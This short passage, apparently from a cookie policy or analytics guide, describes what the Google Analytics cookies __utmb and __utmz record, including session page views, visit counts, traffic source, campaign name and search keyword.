\_utmb - Session tracking - domain hash, page views in current session, outbound link clicks, time current session started

\_utmz - Traffic sources - domain hash, last update time, number of visits, number of different types of visits, source used to access site, Google Adwords campaign name, Access Method (organic, referall , cpc, email, direct), Key word used to find site (non-SSL only)

